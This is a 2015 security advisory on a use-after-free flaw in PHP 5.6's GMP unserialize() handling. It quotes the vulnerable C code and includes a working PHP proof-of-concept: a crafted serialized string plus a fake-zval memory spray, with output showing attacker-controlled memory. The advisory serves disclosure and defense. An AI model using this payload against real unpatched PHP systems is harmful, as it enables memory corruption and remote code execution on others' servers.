Use After Free Vulnerability in unserialize() with GMP

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#Use After Free Vulnerability in unserialize() with GMP

Taoguang Chen <@chtg> - Write Date: 2015.8.17 - Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.13

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
	...

	INIT_ZVAL(zv);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_STRING
		|| convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
	) {
		zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
		goto exit;
	}
	zval_dtor(&zv);

	INIT_ZVAL(zv);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}

The GMP object's deserialization can create ZVAL and free its zval_value from memory via zval_dtor(). However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.

<?php

$inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
$exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line:

$ php uafpoc.php
array(2) {
  [0]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  [1]=>
  object(GMP)#1 (2) {
    [0]=>
    array(1) {
      [0]=>
      int(4325299791)
    }
    ["num"]=>
    string(1) "1"
  }
}